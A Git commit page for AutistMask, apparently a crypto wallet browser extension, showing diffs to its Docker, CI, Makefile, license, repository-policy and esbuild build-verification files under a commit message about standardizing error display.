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Author SHA1 Message Date
5e4cf34ef8 fix: standardize error display to use showError/hideError helpers
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Replace three inconsistent error display patterns with the centralized
showError()/hideError() helpers from helpers.js:

- approval.js: replace direct DOM classList toggling for approve-tx-error
  and approve-sign-error with showError/hideError calls
- addressDetail.js: replace export-privkey-flash direct DOM with
  showError/hideError using renamed export-privkey-error element
- deleteWallet.js: replace delete-wallet-flash direct DOM with
  showError/hideError using renamed delete-wallet-error element
- addWallet.js: replace showFlash() validation errors with dedicated
  add-wallet-error div and showError/hideError calls
- importKey.js: replace showFlash() validation errors with dedicated
  import-key-error div and showError/hideError calls
- index.html: add error divs for add-wallet and import-key views,
  rename export-privkey-flash to export-privkey-error,
  rename delete-wallet-flash to delete-wallet-error,
  remove inconsistent text-red-500 class

Closes #87
2026-02-28 13:06:47 -08:00
182 changed files with 2447 additions and 48481 deletions

View File

@@ -1,7 +1,4 @@
# .git is deliberately NOT excluded: build.js shells out to `git rev-parse` for
# build-info stamping and the Dockerfile runs `make build`, so excluding it
# would make every built extension report commitHash "unknown".
.git
node_modules
.DS_Store
dist
release

View File

@@ -6,4 +6,4 @@ jobs:
steps:
# actions/checkout v4.2.2, 2026-02-22
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: script/cibuild
- run: docker build .

View File

@@ -1,49 +0,0 @@
name: e2e
on: [push]
# The browser end-to-end suites, one job per browser, deliberately kept out
# of the check workflow: REPO_POLICIES.md caps make test at 20 seconds and
# script/cibuild is a plain `docker build .` whose Dockerfile runs
# make check, so folding a browser suite into either would blow that cap
# and slow the local fast path. Before this workflow every browser-level
# guarantee in this repo held only when a human remembered to run it.
#
# One job per browser rather than two steps in one job, so a Chrome failure
# does not hide the Firefox result.
#
# Each job is one script and nothing else. Both scripts need docker and
# nothing else — they deliver the repo to the daemon as a build context and
# build the extension inside the pinned image — which is what makes them
# runnable here at all: the runner executes the job in a container against
# the host's docker socket, so a `-v "$PWD:/work"` source path is resolved
# by the host daemon and mounts an empty directory, and the runner image's
# node is too old to install this repo's dependencies.
#
# These jobs REPORT, they do not gate. Whether a check blocks a merge is
# Gitea branch protection, which this repo does not configure, so a failure
# here is a red mark a reviewer has to account for rather than a hard
# block. Making e2e-chrome a required check is blocked on the measured
# flake in the dApp signing wait -- two of six runs of unmutated code on a
# loaded machine -- tracked as
# https://git.eeqj.de/sneak/AutistMask/issues/287. A gate that fails at
# random teaches people to merge past red.
#
# Nothing here may pass vacuously. There is no continue-on-error and no
# `|| true`. Both scripts exit non-zero when docker is missing, when the
# image build fails, and when the browser fails to start; the Chrome
# harness aborts the suite outright if its network interception is not in
# effect.
jobs:
e2e-chrome:
runs-on: ubuntu-latest
steps:
# actions/checkout v4.2.2, 2026-02-22
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: script/test-e2e
e2e-firefox:
runs-on: ubuntu-latest
steps:
# actions/checkout v4.2.2, 2026-02-22
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: script/test-e2e-firefox

3
.gitignore vendored
View File

@@ -23,9 +23,6 @@ node_modules/
# Build output
dist/
# Release artifacts (make package). Derived from dist/, never committed.
release/
# Yarn
.yarn-integrity
package-lock.json

View File

@@ -1,5 +1,4 @@
node_modules/
yarn.lock
dist/
release/
.claude/

View File

@@ -1,42 +1,15 @@
# node:22-slim (22.x LTS), 2026-02-24
FROM node@sha256:5373f1906319b3a1f291da5d102f4ce5c77ccbe29eb637f072b6c7b70443fc36 AS base
FROM node@sha256:5373f1906319b3a1f291da5d102f4ce5c77ccbe29eb637f072b6c7b70443fc36
RUN apt-get update && apt-get install -y --no-install-recommends make && rm -rf /var/lib/apt/lists/*
RUN corepack enable && corepack prepare yarn@1.22.22 --activate
WORKDIR /app
# Marks "already inside the lint container" for script/lint, which otherwise
# shells out to docker to build the lint stage below. Nothing outside this
# image sets it.
ENV AUTISTMASK_LINT_NATIVE=1
# script/test's default 30s bound is the host figure, against a suite that
# runs in about 8s there. In here the same suite starts on a cold jest cache
# and shares the runner with the rest of the build, so 30s is marginal rather
# than a bound — it killed a healthy suite at 30.6s on a cold CI cache. 180s
# still catches a hang in three minutes and cannot be tripped by a suite that
# is merely running on contended hardware.
ENV AUTISTMASK_TEST_TIMEOUT=180
# script/bootstrap installs all prerequisites (make via apt here; node
# is already in the base image, yarn comes via corepack) and runs
# yarn install --frozen-lockfile. Dependency manifests are copied first
# so the bootstrap layer is cached until they change.
COPY script/ script/
COPY package.json yarn.lock ./
RUN script/bootstrap
RUN yarn install --frozen-lockfile
COPY . .
# Lint stage — fail fast on static analysis and formatting, before the tests
# and the build. This is also the stage script/lint builds from a host, which
# is how linting stays on the pinned ESLint rather than the host's.
FROM base AS lint
RUN make lint
# Full check and build. The COPY --from is a no-op file copy whose only job is
# to make BuildKit finish the lint stage before this one starts; without it the
# stages run in parallel and a lint failure would not fail the build early.
FROM base AS check
COPY --from=lint /app/package.json /dev/null
RUN make check
RUN make build

114
LICENSE
View File

@@ -672,117 +672,3 @@ may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
===========================================================================
THIRD-PARTY FILES
===========================================================================
The following files are not original to this project and are distributed
under their own licenses. They are NOT covered by the GPL-3.0 license above.
---------------------------------------------------------------------------
File: src/shared/phishingBlocklist.json
Source: the eth-phishing-detect community blocklist (src/config.json).
The file here is derived from it, not a copy of it: only the
blacklist is carried over, and each entry is stored as a truncated
digest rather than a domain name. script/vendor-blocklist records
the exact upstream URL, the commit it is pinned to and the hash of
the bytes that commit serves, and is what regenerates this file.
The URL previously cited here, under a different organisation,
returns 404: that repository is gone.
Copyright: Copyright (c) 2018 kumavis
License: Don't Be a Dick Public License (DBAD), Version 1.2
---------------------------------------------------------------------------
DON'T BE A DICK PUBLIC LICENSE
Version 1.2, February 2021
Copyright (C) 2018 kumavis
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document.
DON'T BE A DICK PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
1. Do whatever you like with the original work, just don't be a dick.
Being a dick includes - but is not limited to - the following instances:
1a. Outright copyright infringement - Don't just copy the original
work/works and change the name.
1b. Selling the unmodified original with no work done what-so-ever,
that's REALLY being a dick.
1c. Modifying the original work to contain hidden harmful content.
That would make you a PROPER dick.
2. If you become rich through modifications, related works/services, or
supporting the original work, share the love. Only a dick would make
loads off this work and not buy the original work's creator(s) a pint.
3. Code is provided with no warranty. Using somebody else's code and
bitching when it goes wrong makes you a DONKEY dick. Fix the problem
yourself. A non-dick would submit the fix back or submit a bug report.
4. If you use code, calling it your own would make you a ROYAL dick.
Alternatively, even just a comment giving attribution to where you found
the code would be OK.
---------------------------------------------------------------------------
File: src/shared/scamlist.js (address data from MyEtherWallet ethereum-lists)
Source: https://github.com/MyEtherWallet/ethereum-lists (addresses-darklist.json)
Copyright: Copyright (c) 2020 MyEtherWallet
License: MIT License
---------------------------------------------------------------------------
MIT License
Copyright (c) 2020 MyEtherWallet
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
---------------------------------------------------------------------------
File: src/shared/scamlist.js (address data from EtherScamDB)
Source: https://github.com/MrLuit/EtherScamDB (scams.yaml)
Copyright: Copyright (c) 2018 Luit Hollander
License: MIT License
---------------------------------------------------------------------------
MIT License
Copyright (c) 2018 Luit Hollander
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

117
Makefile
View File

@@ -1,112 +1,45 @@
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug package vendor-blocklist clean dev
# Standard targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
# of README.md).
bootstrap:
@script/bootstrap
setup:
@script/setup
.PHONY: install test lint fmt fmt-check check docker hooks build clean dev
install:
@yarn install --frozen-lockfile
@yarn install
test:
@script/test
# Browser end-to-end suites. Both require docker; neither is part of check.
test-e2e:
@script/test-e2e
test-e2e-firefox:
@script/test-e2e-firefox
@echo "Running tests..."
@timeout 30 yarn run test 2>&1
lint:
@script/lint
@echo "Linting..."
@yarn run lint 2>&1
fmt:
@script/fmt
@echo "Formatting..."
@yarn run fmt 2>&1
fmt-check:
@script/fmt-check
@echo "Checking formatting..."
@yarn run fmt-check 2>&1
check:
@script/check
check: test lint fmt-check
# Assert that the competitor name appears nowhere but its documented
# exceptions. Part of check, and re-run against dist/ at the end of a build;
# separate target for re-running it alone.
check-censored:
@script/check-censored
package:
@script/package
docker:
@script/docker
hooks:
@script/install-precommit
# build.js writes a receipt of everything it emitted — every path, its sha256,
# and whether it is a bundle containing constants.js — and script/verify-build
# checks dist/ against that. The receipt is made here, fresh per invocation,
# outside the repo, and deleted again: a standing file inside dist/ would be
# rewritten by whoever rewrote dist/, which is what made the old check
# satisfiable by a hand-written tree.
#
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
# from the verifier's environment. The script no longer reads it at all; env -u
# is here so that stays true of anything it calls. It is deliberately NOT
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
# compiles a debug bundle and then fails on it, loudly, rather than quietly
# handing back something other than the release build that was asked for.
#
# Every step of this target is wrapped in script/discard-dist-on-failure, so a
# release build that fails removes dist/ instead of leaving a complete, loadable
# debug bundle there for whoever runs the build, sees it fail, and loads
# dist/chrome/ anyway. A step that succeeds removes nothing, and build-debug is
# deliberately not wrapped.
build:
@echo "Building extension..."
@set -eu; \
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
trap 'rm -f "$$receipt"' EXIT INT TERM; \
script/discard-dist-on-failure \
env AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
script/discard-dist-on-failure \
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
--receipt "$$receipt"
@script/discard-dist-on-failure script/check-censored --require-dist
# Development-only build: enables the red DEBUG / INSECURE banner and makes
# the hardcoded test recovery phrase the output of wallet creation. Never
# distribute the artifacts this produces.
#
# No discard-dist-on-failure here, on purpose: a debug build that fails is not
# producing an artifact anyone could mistake for a release one, and its dist/ is
# the evidence of what went wrong.
build-debug:
@echo "Building extension (DEBUG)..."
@set -eu; \
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
--receipt "$$receipt"
@script/check-censored --require-dist
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
# Run deliberately, land the diff: the extension does no runtime fetching, so
# the shipped list is as fresh as the last vendoring run that was released.
vendor-blocklist:
@script/vendor-blocklist
@yarn run build 2>&1
clean:
@rm -rf dist/ release/
@rm -rf dist/
dev:
@echo "Building in watch mode..."
@yarn run build --watch 2>&1
docker:
@docker build -t autistmask .
hooks:
@echo "Installing pre-commit hook..."
@mkdir -p .git/hooks
@echo '#!/usr/bin/env bash' > .git/hooks/pre-commit
@echo 'set -euo pipefail' >> .git/hooks/pre-commit
@echo 'make check' >> .git/hooks/pre-commit
@chmod +x .git/hooks/pre-commit
@echo "Pre-commit hook installed."

1781
README.md

File diff suppressed because it is too large Load Diff

View File

@@ -1,6 +1,6 @@
---
title: Repository Policies
last_modified: 2026-07-06
last_modified: 2026-02-22
---
This document covers repository structure, tooling, and workflow standards. Code
@@ -34,46 +34,10 @@ style conventions are in separate documents:
every file before committing. There are zero exceptions to this rule.
- Every repo with software must have a root `Makefile` with these targets:
`make bootstrap`, `make setup`, `make test`, `make lint`, `make fmt` (writes),
`make fmt-check` (read-only), `make check` (runs `test`, `lint`, `fmt-check`),
`make docker`, and `make hooks` (installs pre-commit hook). A model Makefile
is at `https://git.eeqj.de/sneak/prompts/raw/branch/main/Makefile`.
- Repos follow the
[Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all)
pattern: the implementation of each Makefile target lives in an executable
script in `script/` (`script/bootstrap`, `script/setup`, `script/test`,
`script/lint`, `script/fmt`, `script/fmt-check`, `script/check`,
`script/docker`), and the Makefile targets are thin shims that call them. The
scripts must be POSIX sh (`#!/bin/sh`, `set -eu`, no bashisms) so they run in
minimal containers (e.g. alpine images have no bash); locate the repo root
with `$(cd "$(dirname "$0")/.." && pwd -P)` and `cd` there before acting. From
the standard's canonical set we use `bootstrap`, `setup` (make the repo ready
for development after a fresh clone: runs `bootstrap`, then
`install-precommit`, plus any repo-specific initialization), `test`, and
`cibuild`. `script/bootstrap` installs all dependencies idempotently and
assumes nothing is present: base tools come from nix, apt, brew, or apk
(detected in that order; apt runs noninteractive). For node it uses the
installed node if present; otherwise it installs a PINNED node version via
nvm, first installing nvm itself if missing — from a hash-verified GitHub
release archive (never `curl | sh`), with bash installed as an explicit
prerequisite since nvm requires bash. yarn is then pinned via
`corepack prepare yarn@<version> --activate`. Never install "latest" or "lts";
always exact versions. `script/cibuild` runs the CI build: it changes to the
repo root and runs `docker build .`; the Gitea workflow calls it. Four further
scripts are our own extensions to the standard: `script/check` runs
`script/test`, `script/lint`, and `script/fmt-check`; `script/precommit` is
what the git pre-commit hook runs, and it calls `script/check`;
`script/install-precommit` installs the git pre-commit hook (the `make hooks`
target shims to it); and `script/projectname` (literally that filename) simply
outputs the project's name. Scripts that need the name call
`script/projectname` — e.g. `script/docker` assembles its image tag from it —
so those scripts stay byte-identical across all repos. Repo-type-specific
pre-commit extras (e.g. `go mod tidy` verification in Go repos) belong in
`script/precommit`, not in the hook itself. Model scripts are at
`https://git.eeqj.de/sneak/prompts/raw/branch/main/script/<name>`. The README
must document the provided scripts in an **Entrypoints** section (see the
README requirements below).
`make test`, `make lint`, `make fmt` (writes), `make fmt-check` (read-only),
`make check` (prereqs: `test`, `lint`, `fmt-check`), `make docker`, and
`make hooks` (installs pre-commit hook). A model Makefile is at
`https://git.eeqj.de/sneak/prompts/raw/branch/main/Makefile`.
- Always use Makefile targets (`make fmt`, `make test`, `make lint`, etc.)
instead of invoking the underlying tools directly. The Makefile is the single
@@ -93,83 +57,11 @@ style conventions are in separate documents:
as a build step so the build fails if the branch is not green. For non-server
repos, the Dockerfile should bring up a development environment and run
`make check`. For server repos, `make check` should run as an early build
stage before the final image is assembled. Dockerfiles install development
prerequisites by running `script/bootstrap` rather than duplicating installs
inline; COPY `script/` and the dependency manifests (`package.json` +
`yarn.lock`, `go.mod` + `go.sum`, etc.) before running it so the bootstrap
layer stays cached until dependencies change.
- **Dockerfiles must use a separate lint stage for fail-fast feedback.** Go
repos use a multistage build where linting runs in an independent stage based
on the `golangci/golangci-lint` image (pinned by hash). This stage runs
`make fmt-check` and `make lint` before the full build begins. The build stage
then declares an explicit dependency on the lint stage via
`COPY --from=lint /src/go.sum /dev/null`, which forces BuildKit to complete
linting before proceeding to compilation and tests. This ensures lint failures
surface in seconds rather than minutes, without blocking on dependency
download or compilation in the build stage.
The standard pattern for a Go repo Dockerfile is:
```dockerfile
# Lint stage — fast feedback on formatting and lint issues
# golangci/golangci-lint:v2.x.x, YYYY-MM-DD
FROM golangci/golangci-lint@sha256:... AS lint
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN make fmt-check
RUN make lint
# Build stage
# golang:1.x-alpine, YYYY-MM-DD
FROM golang@sha256:... AS builder
WORKDIR /src
# Force BuildKit to run the lint stage before proceeding
COPY --from=lint /src/go.sum /dev/null
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN make test
ARG VERSION=dev
RUN CGO_ENABLED=0 go build -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /app ./cmd/app/
# Runtime stage
FROM alpine@sha256:...
COPY --from=builder /app /usr/local/bin/app
ENTRYPOINT ["app"]
```
Key points:
- The lint stage uses the `golangci/golangci-lint` image directly (it
includes both Go and the linter), so there is no need to install the
linter separately.
- `COPY --from=lint /src/go.sum /dev/null` is a no-op file copy that creates
a stage dependency. BuildKit runs stages in parallel by default; without
this line, the build stage would not wait for lint to finish and a lint
failure might not fail the overall build.
- If the project uses `//go:embed` directives that reference build artifacts
(e.g. a web frontend compiled in a separate stage), the lint stage must
create placeholder files so the embed directives resolve. Example:
`RUN mkdir -p web/dist && touch web/dist/index.html web/dist/style.css`.
The lint stage should not depend on the actual build output — it exists to
fail fast.
- If the project requires CGO or system libraries for linting (e.g.
`vips-dev`), install them in the lint stage with `apk add`.
- The build stage runs `make test` after compilation setup. Tests run in the
build stage, not the lint stage, because they may require compiled
artifacts or heavier dependencies.
stage before the final image is assembled.
- Every repo should have a Gitea Actions workflow (`.gitea/workflows/`) that
runs `script/cibuild` (which runs `docker build .`) on push. Since the
Dockerfile already runs `make check`, a successful build implies all checks
pass.
runs `docker build .` on push. Since the Dockerfile already runs `make check`,
a successful build implies all checks pass.
- Use platform-standard formatters: `black` for Python, `prettier` for
JS/CSS/Markdown/HTML, `go fmt` for Go. Always use default configuration with
@@ -177,11 +69,9 @@ style conventions are in separate documents:
Markdown (hard-wrap at 80 columns). Documentation and writing repos (Markdown,
HTML, CSS) should also have `.prettierrc` and `.prettierignore`.
- Pre-commit hook: runs `script/precommit`, which calls `script/check`. If local
testing is not possible in the repo, `script/precommit` may skip `script/test`
and run only `script/lint` and `script/fmt-check`. The hook is installed by
`script/install-precommit`; the Makefile must provide a `make hooks` target
that shims to it.
- Pre-commit hook: `make check` if local testing is possible, otherwise
`make lint && make fmt-check`. The Makefile should provide a `make hooks`
target to install the pre-commit hook.
- All repos with software must have tests that run via the platform-standard
test framework (`go test`, `pytest`, `jest`/`vitest`, etc.). If no meaningful
@@ -192,42 +82,6 @@ style conventions are in separate documents:
- `make test` must complete in under 20 seconds. Add a 30-second timeout in the
Makefile.
- **`make test` should use the conditional verbose rerun pattern.** Run tests
without `-v` (verbose) first. If tests fail, automatically rerun with `-v` to
show full output. This keeps CI logs and `docker build` output clean on
success (just package/suite summaries) while providing full diagnostic detail
on failure (every test case, every assertion). The general shell pattern:
```makefile
test:
@<test-command> || \
{ echo "--- Rerunning with -v for details ---"; \
<test-command-with-v>; exit 1; }
```
Go example:
```makefile
test:
@go test -timeout 30s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \
go test -timeout 30s -race -v ./...; exit 1; }
```
Python example:
```makefile
test:
@python -m pytest || \
{ echo "--- Rerunning with -v for details ---"; \
python -m pytest -v; exit 1; }
```
The `exit 1` ensures the target always fails after a rerun — the first run
already proved the tests are broken, so the build must not pass even if a
flaky test happens to succeed on the second attempt. The rerun exists solely
for diagnostic output.
- Docker builds must complete in under 5 minutes.
- `make check` must not modify any files in the repo. Tests may use temporary
@@ -244,13 +98,6 @@ style conventions are in separate documents:
`https://git.eeqj.de/sneak/prompts/raw/branch/main/.gitignore` when setting up
a new repo.
- **No build artifacts in version control.** Code-derived data (compiled
bundles, minified output, generated assets) must never be committed to the
repository if it can be avoided. The build process (e.g. Dockerfile, Makefile)
should generate these at build time. Notable exception: Go protobuf generated
files (`.pb.go`) ARE committed because repos need to work with `go get`, which
downloads code but does not execute code generation.
- Never use `git add -A` or `git add .`. Always stage files explicitly by name.
- Never force-push to `main`.
@@ -274,76 +121,12 @@ style conventions are in separate documents:
- Dockerized web services listen on port 8080 by default, overridable with
`PORT`.
- **HTTP/web services must be hardened for production internet exposure before
tagging 1.0.** This means full compliance with security best practices
including, without limitation, all of the following:
- **Security headers** on every response:
- `Strict-Transport-Security` (HSTS) with `max-age` of at least one year
and `includeSubDomains`.
- `Content-Security-Policy` (CSP) with a restrictive default policy
(`default-src 'self'` as a baseline, tightened per-resource as
needed). Never use `unsafe-inline` or `unsafe-eval` unless
unavoidable, and document the reason.
- `X-Frame-Options: DENY` (or `SAMEORIGIN` if framing is required).
Prefer the `frame-ancestors` CSP directive as the primary control.
- `X-Content-Type-Options: nosniff`.
- `Referrer-Policy: strict-origin-when-cross-origin` (or stricter).
- `Permissions-Policy` restricting access to browser features the
application does not use (camera, microphone, geolocation, etc.).
- **Request and response limits:**
- Maximum request body size enforced on all endpoints (e.g. Go
`http.MaxBytesReader`). Choose a sane default per-route; never accept
unbounded input.
- Maximum response body size where applicable (e.g. paginated APIs).
- `ReadTimeout` and `ReadHeaderTimeout` on the `http.Server` to defend
against slowloris attacks.
- `WriteTimeout` on the `http.Server`.
- `IdleTimeout` on the `http.Server`.
- Per-handler execution time limits via `context.WithTimeout` or
chi/stdlib `middleware.Timeout`.
- **Authentication and session security:**
- Rate limiting on password-based authentication endpoints. API keys are
high-entropy and not susceptible to brute force, so they are exempt.
- CSRF tokens on all state-mutating HTML forms. API endpoints
authenticated via `Authorization` header (Bearer token, API key) are
exempt because the browser does not attach these automatically.
- Passwords stored using bcrypt, scrypt, or argon2 — never plain-text,
MD5, or SHA.
- Session cookies set with `HttpOnly`, `Secure`, and `SameSite=Lax` (or
`Strict`) attributes.
- **Reverse proxy awareness:**
- True client IP detection when behind a reverse proxy
(`X-Forwarded-For`, `X-Real-IP`). The application must accept
forwarded headers only from a configured set of trusted proxy
addresses — never trust `X-Forwarded-For` unconditionally.
- **CORS:**
- Authenticated endpoints must restrict `Access-Control-Allow-Origin` to
an explicit allowlist of known origins. Wildcard (`*`) is acceptable
only for public, unauthenticated read-only APIs.
- **Error handling:**
- Internal errors must never leak stack traces, SQL queries, file paths,
or other implementation details to the client. Return generic error
messages in production; detailed errors only when `DEBUG` is enabled.
- **TLS:**
- Services never terminate TLS directly. They are always deployed behind
a TLS-terminating reverse proxy. The service itself listens on plain
HTTP. However, HSTS headers and `Secure` cookie flags must still be
set by the application so that the browser enforces HTTPS end-to-end.
This list is non-exhaustive. Apply defense-in-depth: if a standard security
hardening measure exists for HTTP services and is not listed here, it is
still expected. When in doubt, harden.
- `README.md` is the primary documentation. Required sections:
- **Description**: First line must include the project name, purpose,
category (web server, SPA, CLI tool, etc.), license, and author. Example:
"µPaaS is an MIT-licensed Go web application by @sneak that receives
git-frontend webhooks and deploys applications via Docker in realtime."
- **Getting Started**: Copy-pasteable install/usage code block.
- **Entrypoints**: Opens by stating that the repo adheres to the
[Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all)
standard (with that link), then documents each provided `script/`
entrypoint and its purpose.
- **Rationale**: Why does this exist?
- **Design**: How is the program structured?
- **TODO**: Update meticulously, even between commits. When planning, put
@@ -361,14 +144,8 @@ style conventions are in separate documents:
- Use SemVer.
- Database migrations live in `internal/db/migrations/` and must be embedded in
the binary.
- `000_migration.sql` — contains ONLY the creation of the migrations
tracking table itself. Nothing else.
- `001_schema.sql` — the full application schema.
- **Pre-1.0.0:** never add additional migration files (002, 003, etc.).
There is no installed base to migrate. Edit `001_schema.sql` directly.
- **Post-1.0.0:** add new numbered migration files for each schema change.
Never edit existing migrations after release.
the binary. Pre-1.0.0: modify existing migrations (no installed base assumed).
Post-1.0.0: add new migration files.
- All repos should have an `.editorconfig` enforcing the project's indentation
settings.
@@ -398,9 +175,6 @@ style conventions are in separate documents:
- `README.md`, `.git`, `.gitignore`, `.editorconfig`
- `LICENSE`, `REPO_POLICIES.md` (copy from the `prompts` repo)
- `Makefile`
- `script/` entrypoints (`bootstrap`, `setup`, `projectname`, `test`,
`lint`, `fmt`, `fmt-check`, `check`, `docker`, `cibuild`, `precommit`,
`install-precommit`)
- `Dockerfile`, `.dockerignore`
- `.gitea/workflows/check.yml`
- Go: `go.mod`, `go.sum`, `.golangci.yml`

1014
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564
build.js
View File

@@ -1,488 +1,28 @@
const fs = require("fs");
const path = require("path");
const crypto = require("crypto");
const { execSync } = require("child_process");
const esbuild = require("esbuild");
const { resolveVersion } = require("./script/lib/version");
const {
BACKGROUND_ENTRY_PREFIX,
FORBIDDEN_INPUTS,
assertTableWellFormed,
} = require("./script/lib/forbiddenBundleInputs");
const DIST = path.join(__dirname, "dist");
const DIST_CHROME = path.join(DIST, "chrome");
const DIST_FIREFOX = path.join(DIST, "firefox");
const DIST_CHROME = path.join(__dirname, "dist", "chrome");
const DIST_FIREFOX = path.join(__dirname, "dist", "firefox");
const SRC = path.join(__dirname, "src");
// The module whose compiled DEBUG state script/verify-build asserts. Which
// bundles contain it is derived from esbuild's own dependency graph rather
// than from a hardcoded list, so it tracks the bundle layout instead of
// rotting with it.
const AUDITED_MODULE = "src/shared/constants.js";
// FORBIDDEN_INPUTS — what each entry point's bundle may not contain, and what
// that covers — lives in script/lib/forbiddenBundleInputs.js, because the
// ESLint rule reads the same table and two literal copies of a path drift.
//
// This is the authoritative check, and it is here rather than in the linter
// because it consults the resolution esbuild actually performed. Any specifier
// syntax, any hop, any resolution rule that puts the module in the bundle fails
// the build, whether or not a text matcher would have recognized it. A
// background entry point the table does not name fails as well, so a second
// worker is protected by default rather than by someone remembering this file.
// Dockerfile:42 runs `make build`, so it is enforced in CI.
// The build receipt: every file this build emits, with its sha256 and whether
// it is one of the audited bundles. script/verify-build is handed this and
// checks dist/ against it, so the file list comes from the build that just ran
// rather than being read back out of the tree it is supposed to vouch for.
//
// The path is supplied by the caller, not chosen here, and the Makefile makes
// a fresh one per invocation outside the repo: that is what ties a receipt to
// one build rather than leaving a standing file anyone can write.
const RECEIPT_HEADER = "autistmask-build-receipt v1";
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
// Every emitted path must be plainly nameable, because the receipt is a
// line-oriented text file consumed by a POSIX shell script and a path with a
// space or a newline in it could not be read back unambiguously. Nothing this
// build emits looks like that; if that ever changes, the build fails here
// rather than writing a receipt that cannot be checked.
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
function ensureDir(dir) {
fs.mkdirSync(dir, { recursive: true });
}
// Repo-relative, forward-slashed, so the manifest reads the same on every
// platform and can be consumed by a POSIX shell script without further work.
function repoRelative(p) {
return path.relative(__dirname, p).split(path.sep).join("/");
}
// Collect the outputs of one esbuild run that bundle AUDITED_MODULE. esbuild
// reports every input that contributed to an output in the metafile, which is
// the authoritative answer to "is constants.js in this bundle" — unlike
// searching the minified text, it does not depend on what survived minification.
//
// The ".js" filter below is the only place that assumption lives:
// script/verify-build reads every file the receipt names, whatever its
// extension, and fails on any that carries a debug marker without being
// recorded as an audited bundle — so a bundle emitted under some other
// extension fails there rather than escaping both checks at once.
function outputsContainingAuditedModule(metafile) {
return Object.entries(metafile.outputs)
.filter(([outFile, info]) => {
if (!outFile.endsWith(".js")) return false;
return Object.keys(info.inputs).some(
(input) => repoRelative(input) === AUDITED_MODULE,
);
})
.map(([outFile]) => repoRelative(outFile));
}
// Shortest import chain from `entryInput` to `target` through the metafile's
// own input graph, or null when there is none. The message this feeds is the
// point of the check: "state.js is in the worker bundle" is not actionable on
// its own, "index.js -> chainSwitchFields.js -> state.js" is.
function importChain(metafile, entryInput, target) {
const graph = new Map(
Object.entries(metafile.inputs).map(([input, info]) => [
repoRelative(input),
(info.imports || []).map((i) => repoRelative(i.path)),
]),
);
const start = repoRelative(entryInput);
const seen = new Set([start]);
const queue = [[start]];
while (queue.length > 0) {
const chain = queue.shift();
for (const next of graph.get(chain[chain.length - 1]) || []) {
if (next === target) return chain.concat([next]);
if (seen.has(next)) continue;
seen.add(next);
queue.push(chain.concat([next]));
}
}
return null;
}
// What the forbidden-input checks accumulate over a whole build: which
// FORBIDDEN_INPUTS keys were actually bundled, and every input of every output
// this build emitted. Both are read by assertForbiddenTableCovered() at the
// end — a table entry naming something that is not there any more enforces
// nothing, and must fail rather than pass quietly.
function newForbiddenRecord() {
return { entriesChecked: new Set(), bundledInputs: new Set() };
}
// Note every input of every output of one esbuild run. Deliberately not
// restricted to the entry points named in FORBIDDEN_INPUTS: it is the POPUP
// that legitimately bundles src/shared/state.js, and that is what makes
